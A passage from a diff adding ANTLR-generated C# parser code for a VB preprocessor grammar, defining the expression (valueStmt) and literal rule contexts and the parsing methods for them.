[System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsLiteral(this); + } + } + public partial class VsConstantContext : ValueStmtContext { + public AmbiguousIdentifierContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public VsConstantContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsConstant(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsConstant(this); + } + } + public partial class VsUnaryOperationContext : ValueStmtContext { + public IToken @operator; + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBPreprocessorsParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBPreprocessorsParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOT() { return GetToken(VBPreprocessorsParser.NOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBPreprocessorsParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBPreprocessorsParser.RPAREN, 0); } + public VsUnaryOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsUnaryOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsUnaryOperation(this); + } + } + public partial class VsDualOperationContext : ValueStmtContext { + public ValueStmtContext left; + public IToken @operator; + public ValueStmtContext right; + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode POW() { return GetToken(VBPreprocessorsParser.POW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MULT() { return GetToken(VBPreprocessorsParser.MULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIV() { return GetToken(VBPreprocessorsParser.DIV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MOD() { return GetToken(VBPreprocessorsParser.MOD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS() { return GetToken(VBPreprocessorsParser.PLUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBPreprocessorsParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AMPERSAND() { return GetToken(VBPreprocessorsParser.AMPERSAND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEQ() { return GetToken(VBPreprocessorsParser.NEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LT() { return GetToken(VBPreprocessorsParser.LT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GT() { return GetToken(VBPreprocessorsParser.GT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEQ() { return GetToken(VBPreprocessorsParser.LEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GEQ() { return GetToken(VBPreprocessorsParser.GEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AND() { return GetToken(VBPreprocessorsParser.AND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OR() { return GetToken(VBPreprocessorsParser.OR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode XOR() { return GetToken(VBPreprocessorsParser.XOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQV() { return GetToken(VBPreprocessorsParser.EQV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMP() { return GetToken(VBPreprocessorsParser.IMP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBPreprocessorsParser.LIKE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBPreprocessorsParser.IS, 0); } + public VsDualOperationContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsDualOperation(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsDualOperation(this); + } + } + + [RuleVersion(0)] + public ValueStmtContext valueStmt() { + return valueStmt(0); + } + + private ValueStmtContext valueStmt(int _p) { + ParserRuleContext _parentctx = Context; + int _parentState = State; + ValueStmtContext _localctx = new ValueStmtContext(Context, _parentState); + ValueStmtContext _prevctx = _localctx; + int _startState = 64; + EnterRecursionRule(_localctx, 64, RULE_valueStmt, _p); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 509; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case FALSE: + case TRUE: + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case INTEGERLITERAL: + case DOUBLELITERAL: + case OCTALLITERAL: + { + _localctx = new VsLiteralContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + + State = 459; + ((VsLiteralContext)_localctx).valUnary = literal(); + } + break; + case L_SQUARE_BRACKET: + case IDENTIFIER: + { + _localctx = new VsConstantContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 460; + ((VsConstantContext)_localctx).valUnary = ambiguousIdentifier(); + } + break; + case LPAREN: + { + _localctx = new VsStructContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 461; + Match(LPAREN); + State = 463; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 462; + Match(WS); + } + } + + State = 465; + ((VsStructContext)_localctx).valUnary = valueStmt(0); + State = 476; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,75,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 467; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 466; + Match(WS); + } + } + + State = 469; + Match(COMMA); + State = 471; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 470; + Match(WS); + } + } + + State = 473; + valueStmt(0); + } + } + } + State = 478; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,75,Context); + } + State = 480; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 479; + Match(WS); + } + } + + State = 482; + Match(RPAREN); + } + break; + case PLUS: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 484; + ((VsUnaryOperationContext)_localctx).@operator = Match(PLUS); + State = 486; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 485; + Match(WS); + } + } + + State = 488; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(20); + } + break; + case MINUS: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 489; + ((VsUnaryOperationContext)_localctx).@operator = Match(MINUS); + State = 491; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 490; + Match(WS); + } + } + + State = 493; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(19); + } + break; + case NOT: + { + _localctx = new VsUnaryOperationContext(_localctx); + Context = _localctx; + _prevctx = _localctx; + State = 494; + ((VsUnaryOperationContext)_localctx).@operator = Match(NOT); + State = 507; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case WS: + { + State = 495; + Match(WS); + State = 496; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + } + break; + case LPAREN: + { + State = 497; + Match(LPAREN); + State = 499; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 498; + Match(WS); + } + } + + State = 501; + ((VsUnaryOperationContext)_localctx).valUnary = valueStmt(0); + State = 503; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 502; + Match(WS); + } + } + + State = 505; + Match(RPAREN); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + default: + throw new NoViableAltException(this); + } + Context.Stop = TokenStream.LT(-1); + State = 658; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,114,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + if ( ParseListeners!=null ) + TriggerExitRuleEvent(); + _prevctx = _localctx; + { + State = 656; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,113,Context) ) { + case 1: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 511; + if (!(Precpred(Context, 18))) throw new FailedPredicateException(this, "Precpred(Context, 18)"); + State = 513; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 512; + Match(WS); + } + } + + State = 515; + ((VsDualOperationContext)_localctx).@operator = Match(POW); + State = 517; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 516; + Match(WS); + } + } + + State = 519; + ((VsDualOperationContext)_localctx).right = valueStmt(19); + } + break; + case 2: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 520; + if (!(Precpred(Context, 17))) throw new FailedPredicateException(this, "Precpred(Context, 17)"); + State = 522; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 521; + Match(WS); + } + } + + State = 524; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 281543704576000L) != 0)) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 526; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 525; + Match(WS); + } + } + + State = 528; + ((VsDualOperationContext)_localctx).right = valueStmt(18); + } + break; + case 3: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 529; + if (!(Precpred(Context, 16))) throw new FailedPredicateException(this, "Precpred(Context, 16)"); + State = 531; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 530; + Match(WS); + } + } + + State = 533; + ((VsDualOperationContext)_localctx).@operator = TokenStream.LT(1); + _la = TokenStream.LA(1); + if ( !(_la==MINUS || _la==PLUS) ) { + ((VsDualOperationContext)_localctx).@operator = ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 535; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 534; + Match(WS); + } + } + + State = 537; + ((VsDualOperationContext)_localctx).right = valueStmt(17); + } + break; + case 4: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 538; + if (!(Precpred(Context, 15))) throw new FailedPredicateException(this, "Precpred(Context, 15)"); + State = 540; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 539; + Match(WS); + } + } + + State = 542; + ((VsDualOperationContext)_localctx).@operator = Match(AMPERSAND); + State = 544; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 543; + Match(WS); + } + } + + State = 546; + ((VsDualOperationContext)_localctx).right = valueStmt(16); + } + break; + case 5: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 547; + if (!(Precpred(Context, 14))) throw new FailedPredicateException(this, "Precpred(Context, 14)"); + State = 549; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 548; + Match(WS); + } + } + + State = 551; + ((VsDualOperationContext)_localctx).@operator = Match(EQ); + State = 553; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 552; + Match(WS); + } + } + + State = 555; + ((VsDualOperationContext)_localctx).right = valueStmt(15); + } + break; + case 6: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 556; + if (!(Precpred(Context, 13))) throw new FailedPredicateException(this, "Precpred(Context, 13)"); + State = 558; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 557; + Match(WS); + } + } + + State = 560; + ((VsDualOperationContext)_localctx).@operator = Match(NEQ); + State = 562; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 561; + Match(WS); + } + } + + State = 564; + ((VsDualOperationContext)_localctx).right = valueStmt(14); + } + break; + case 7: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 565; + if (!(Precpred(Context, 12))) throw new FailedPredicateException(this, "Precpred(Context, 12)"); + State = 567; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 566; + Match(WS); + } + } + + State = 569; + ((VsDualOperationContext)_localctx).@operator = Match(LT); + State = 571; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 570; + Match(WS); + } + } + + State = 573; + ((VsDualOperationContext)_localctx).right = valueStmt(13); + } + break; + case 8: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 574; + if (!(Precpred(Context, 11))) throw new FailedPredicateException(this, "Precpred(Context, 11)"); + State = 576; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 575; + Match(WS); + } + } + + State = 578; + ((VsDualOperationContext)_localctx).@operator = Match(GT); + State = 580; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 579; + Match(WS); + } + } + + State = 582; + ((VsDualOperationContext)_localctx).right = valueStmt(12); + } + break; + case 9: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 583; + if (!(Precpred(Context, 10))) throw new FailedPredicateException(this, "Precpred(Context, 10)"); + State = 585; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 584; + Match(WS); + } + } + + State = 587; + ((VsDualOperationContext)_localctx).@operator = Match(LEQ); + State = 589; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 588; + Match(WS); + } + } + + State = 591; + ((VsDualOperationContext)_localctx).right = valueStmt(11); + } + break; + case 10: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 592; + if (!(Precpred(Context, 9))) throw new FailedPredicateException(this, "Precpred(Context, 9)"); + State = 594; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 593; + Match(WS); + } + } + + State = 596; + ((VsDualOperationContext)_localctx).@operator = Match(GEQ); + State = 598; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 597; + Match(WS); + } + } + + State = 600; + ((VsDualOperationContext)_localctx).right = valueStmt(10); + } + break; + case 11: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 601; + if (!(Precpred(Context, 8))) throw new FailedPredicateException(this, "Precpred(Context, 8)"); + State = 603; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 602; + Match(WS); + } + } + + State = 605; + ((VsDualOperationContext)_localctx).@operator = Match(AND); + State = 607; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 606; + Match(WS); + } + } + + State = 609; + ((VsDualOperationContext)_localctx).right = valueStmt(9); + } + break; + case 12: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 610; + if (!(Precpred(Context, 7))) throw new FailedPredicateException(this, "Precpred(Context, 7)"); + State = 612; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 611; + Match(WS); + } + } + + State = 614; + ((VsDualOperationContext)_localctx).@operator = Match(OR); + State = 616; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 615; + Match(WS); + } + } + + State = 618; + ((VsDualOperationContext)_localctx).right = valueStmt(8); + } + break; + case 13: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 619; + if (!(Precpred(Context, 6))) throw new FailedPredicateException(this, "Precpred(Context, 6)"); + State = 621; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 620; + Match(WS); + } + } + + State = 623; + ((VsDualOperationContext)_localctx).@operator = Match(XOR); + State = 625; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 624; + Match(WS); + } + } + + State = 627; + ((VsDualOperationContext)_localctx).right = valueStmt(7); + } + break; + case 14: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 628; + if (!(Precpred(Context, 5))) throw new FailedPredicateException(this, "Precpred(Context, 5)"); + State = 630; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 629; + Match(WS); + } + } + + State = 632; + ((VsDualOperationContext)_localctx).@operator = Match(EQV); + State = 634; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 633; + Match(WS); + } + } + + State = 636; + ((VsDualOperationContext)_localctx).right = valueStmt(6); + } + break; + case 15: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 637; + if (!(Precpred(Context, 4))) throw new FailedPredicateException(this, "Precpred(Context, 4)"); + State = 639; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 638; + Match(WS); + } + } + + State = 641; + ((VsDualOperationContext)_localctx).@operator = Match(IMP); + State = 643; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 642; + Match(WS); + } + } + + State = 645; + ((VsDualOperationContext)_localctx).right = valueStmt(5); + } + break; + case 16: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 646; + if (!(Precpred(Context, 3))) throw new FailedPredicateException(this, "Precpred(Context, 3)"); + State = 647; + Match(WS); + State = 648; + ((VsDualOperationContext)_localctx).@operator = Match(LIKE); + State = 649; + Match(WS); + State = 650; + ((VsDualOperationContext)_localctx).right = valueStmt(4); + } + break; + case 17: + { + _localctx = new VsDualOperationContext(new ValueStmtContext(_parentctx, _parentState)); + ((VsDualOperationContext)_localctx).left = _prevctx; + PushNewRecursionContext(_localctx, _startState, RULE_valueStmt); + State = 651; + if (!(Precpred(Context, 2))) throw new FailedPredicateException(this, "Precpred(Context, 2)"); + State = 652; + Match(WS); + State = 653; + ((VsDualOperationContext)_localctx).@operator = Match(IS); + State = 654; + Match(WS); + State = 655; + ((VsDualOperationContext)_localctx).right = valueStmt(3); + } + break; + } + } + } + State = 660; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,114,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + UnrollRecursionContexts(_parentctx); + } + return _localctx; + } + + public partial class DelimitedLiteralContext : ParserRuleContext { + public DelimitedLiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_delimitedLiteral; } } + + public DelimitedLiteralContext() { } + public virtual void CopyFrom(DelimitedLiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtStringContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBPreprocessorsParser.STRINGLITERAL, 0); } + public LtStringContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtString(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtString(this); + } + } + public partial class LtOctalContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OCTALLITERAL() { return GetToken(VBPreprocessorsParser.OCTALLITERAL, 0); } + public LtOctalContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtOctal(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtOctal(this); + } + } + public partial class LtDateContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATELITERAL() { return GetToken(VBPreprocessorsParser.DATELITERAL, 0); } + public LtDateContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtDate(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtDate(this); + } + } + public partial class LtColorContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode HEXLITERAL() { return GetToken(VBPreprocessorsParser.HEXLITERAL, 0); } + public LtColorContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtColor(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtColor(this); + } + } + + [RuleVersion(0)] + public DelimitedLiteralContext delimitedLiteral() { + DelimitedLiteralContext _localctx = new DelimitedLiteralContext(Context, State); + EnterRule(_localctx, 66, RULE_delimitedLiteral); + try { + State = 665; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case HEXLITERAL: + _localctx = new LtColorContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 661; + Match(HEXLITERAL); + } + break; + case OCTALLITERAL: + _localctx = new LtOctalContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 662; + Match(OCTALLITERAL); + } + break; + case DATELITERAL: + _localctx = new LtDateContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 663; + Match(DATELITERAL); + } + break; + case STRINGLITERAL: + _localctx = new LtStringContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 664; + Match(STRINGLITERAL); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LiteralContext : ParserRuleContext { + public LiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_literal; } } + + public LiteralContext() { } + public virtual void CopyFrom(LiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtIntegerContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBPreprocessorsParser.INTEGERLITERAL, 0); } + public LtIntegerContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtInteger(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtInteger(this); + } + } + public partial class LtDoubleContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBPreprocessorsParser.DOUBLELITERAL, 0); } + public LtDoubleContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtDouble(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtDouble(this); + } + } + public partial class LtDelimitedContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public DelimitedLiteralContext delimitedLiteral() { + return GetRuleContext(0); + } + public LtDelimitedContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLtDelimited(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLtDelimited(this); + } + } + public partial class LtBooleanContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TRUE() { return GetToken(VBPreprocessorsParser.TRUE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FALSE() { return 